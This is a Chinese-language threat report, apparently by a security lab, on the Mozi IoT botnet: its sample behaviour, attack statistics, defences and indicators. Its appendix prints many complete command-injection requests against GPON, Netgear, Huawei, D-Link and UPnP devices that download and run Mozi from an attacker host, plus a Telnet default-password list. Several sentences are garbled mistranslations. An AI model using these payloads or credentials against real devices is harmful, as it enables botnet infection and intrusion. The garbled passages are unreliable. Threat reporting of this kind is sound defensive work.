概述
专项行动期间,某天各大蓝队群内都在交流最近还是收到很多来自印度的攻击流量,最初部分认为是红队在使用印度 IP 进行攻击。但很快发现事情好像并不是这么简单,通过对攻击付费负载特征的分析,发现该攻击不是专项行动红队所发起,而是来自一个正在迅速扩展的僵尸网络 ——Mozi(墨子)僵尸网络。
Mozi 僵尸网络是在 2019 年底首次出现在针对路由器和 DVR 的攻击场景上的一种 P2P 僵尸网络。主要攻击物联网(IoT)设备,包括网件,D-Link 和华为等路由设备。它本质上是 Mirai 的变种,但也包含 Gafgyt 和 IoT Reaper 的部分代码,用于进行 DDoS 攻击,数据窃取,垃圾邮件发送以及恶意命令执行和传播。目前其规模已经迅速扩大,据统计目前已占到所有物联网(IoT)僵尸网络流量的 90%。
近日知道创宇 404 积极防御实验室通过知道创宇云防御安全大数据平台监测到大量来自印度的 IP。攻击分析,其中大量的攻击来自 Mozi 僵尸网络,可能和近期印度 Mozi 僵尸网络大范围感染并传播有关。
2. 追溯分析
2.1 发现攻击
近日,知道创宇 404 积极防御实验室监测到大量来自印度的 IP 攻击,试图通过远程命令执行下载 Mozi.m,Mozi.a 等恶意文件到被攻击设备上,并且使用的 User-Agent 替代:“Hello,world”。使用的部分攻击有效载荷如下:
cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
图 1 - 攻击日志
通过对样本的分析确定该样本属于 Mozi 僵尸网络家族。
2.2 详细分析
2.2.1 Mozi.m 样本分析
捕获到的样本信息:
SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
ELF 头:
魔法 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
类别 ELF32
数据 2 补码,大端序(big endian)
版 1(当前)
操作系统 / ABI UNIX - 系统 V
ABI 版本 0
类型 EXEC(可执行文件)
系统架构 MIPS R3000
版本 0x1
入口点地址 0x41fb58
程序头起点 52(以字节为单位)
样本通过 UPX 进行了加壳操作,并且将 p_info 结构中的 p_file_size 和 p_blocksize 值替换为 0,来增强自身的 “安全性”。
在成功感染目标设备之后,Mozi 为进行自我保护,会通过防火墙中断 SSH,Telnet 端口,以防止被其他僵尸网络入侵:
图 2 - 中断 22、2323 端口通信
根据感染的设备,修改防火墙策略放行不同的端口来保证自身的通信:
图 3 - 放行自身使用端口
同时读取 /proc/net /tcp 和 /proc/net /raw 来查找并 KILL 掉使用 1536 和 5888 端口的进程:
图 4 - 杀死相关进程
检查被感染的设备上是否存在 Watchdog 来避免重启:
图 5 - 检测看门狗
检查被感染的设备上是否存在 /usr/bin /python,如果存在,则将进程名称更改为 sshd,不存在则更改为 dropbear,从而来迷惑被攻击者。
图 6 - 更改进度名
分析过程中发现 Mozi 僵尸网络附属部分 Gafgyt 家族僵尸网络的代码,其中内嵌了 8 个硬编码的公共节点信息,用于加入 P2P 网络,如下:
图 7 - 内置的例程
在样本中还硬编码了一个使用 XOR 加密的配置文件以及密钥:
图 8 - 配置文件
使用硬编码的秘钥解密后得到如下配置数据: [ss]bot[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。
新的 http://ia.51.la/Mozi 美元向向发送 HTTP 请求,来注册自身。
在通信流量中通过 1:v4:JBls 来标记是否为 Mozi 纳米发起的通信。
图 9 - 通信标识
所使用的攻击设备类型包括:GPON 光纤设备,NetGear 路由设备,华为 HG532 交换机系列,D-Link 路由设备,使用 Realtek SDK 的设备,Vacron 监控摄像机,斐讯路由器,USR-G806 4G 工业无线路由器等:
图 10 - 攻击的设备类型
同时还在样本中发现硬编码的部分用户名和弱密码,用于对 Telnet 进行暴力破解攻击,以扩大感染和传播范围,硬编码的部分用户名和密码如下:
图 11 - 部分弱密码密码
2.3 攻击分布
自 9 月以来知道创宇云防御共拦截了来自 Mozi 僵尸网络的 151,952 个 IP 的攻击,总计拦截攻击 14,228,252 次。与 8 月份排名,来自印度的攻击显着增加,拦截到的来自印度的攻击 IP 先前上升了近 30%,所拦截到的总攻击次数增加了近 42%。下图为知道创宇 404 积极防御实验室自 9 月以来监测到的来自印度的攻击 IP TOP10:
图 12 - 攻击 IP TOP10
通过对捕获到的日志分析,对所有被攻击的行业进行分类统计,其中被攻击占比最高的为政府事业单位,以及部分部委机关系统及网站。这部分系统在所有被攻击的行业中占比达到 45%。如下:
图 13 - 被攻击行业分布
目前 Mozi 僵尸网络仍在快速扩张,且呈上升趋势,直至十一重保,各单位仍需提高警惕,采取安全防护措施,尤其是已有政府事业单位以及部委机关单位,应提前做好相关设备的安全检查,避免被僵尸网络入侵感染。
3. 防护建议
1. 设备关闭预设的端口,对使用的端口号进行更改;
2. 定期更新系统补丁,及时修复相关突破;
3. 服务器切勿使用弱密码,避免被暴力破解;
4. 根据附件中的有效载荷中断存在以下特征的通信;
5. 关注设备上的可疑进展和外连访问,尤其是最近来自印度的 IP。
4 附:IoCs
公共节点
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881(ZoomEye 搜索结果)
82.221.103.244:6881(ZoomEye 搜索结果)
130.239。 18.159:6881(ZoomEye 搜索结果)
87.98.162.88:6881(ZoomEye 搜索结果)
部分有效载荷
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: /
User-Agent: Hello-World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
POST /HNAP1/ HTTP/1.0
Host: %s:80
Content-Type: text/xml; charset="utf-8"
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content-Length: 640
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Host: %s:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7574
User-Agent: Hello, world
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 640
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
POST /soap.cgi?service=WANIPConn1 HTTP/1.1
Host: %s:49152
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: */*
User-Agent: Hello, World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
暴力破解使用的用户名及弱口令
Username Password
admin 00000000
telnetadmin 1111
!!Huawei 1111111
admin 1234
root 12345
root 123456
keomeo 2010vesta
support 2011vesta
CMCCAdmin 25802580
e8telnet 54321
e8ehome1 666666
e8ehome 7ujMko0admin
user 7ujMko0vizxv
mother 888888
root 88888888
Administrator @HuaweiHgw
service BrAhMoS@15
supervisor CMCCAdmin
guest CUAdmin
admin1 Fireitup
administrator GM8182
ubnt PhrQjGzk
tech Pon521
admin Zte521
admin admin
telnet admin1234
adminHW
adminpass
anko
cat1029
chzhdpl
conexant
default
dreambox
e2008jl
e8ehome
e8ehome1
e8telnet
epicrouter
fucker
gpon
guest
gw1admin
h@32LuyD
hg2x0
hi3518
ikwb
juantech
jvbzd
keomeo
klv123
klv1234
meinsm
pass
password
plumeria0077
r@p8p0r+
realtek
root
service
smcadmin
supervisor
support
system
tech
telnet
telnetadmin
ubnt
user
v2mprt
vizxv
xJ4pCYeW
xc3511
xmhdipc
zlxx
zte
#### SHA256
```
bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887
```
### 5. 参考链接:
kb.cert.org/vuls/id/582384/
https://www.cebnet.com.cn/20180302/1024695...
https://cloud.tencent.com/developer/articl...
以上文章部分内容采集于网络,如有侵权请联系未来云客服处理,谢谢!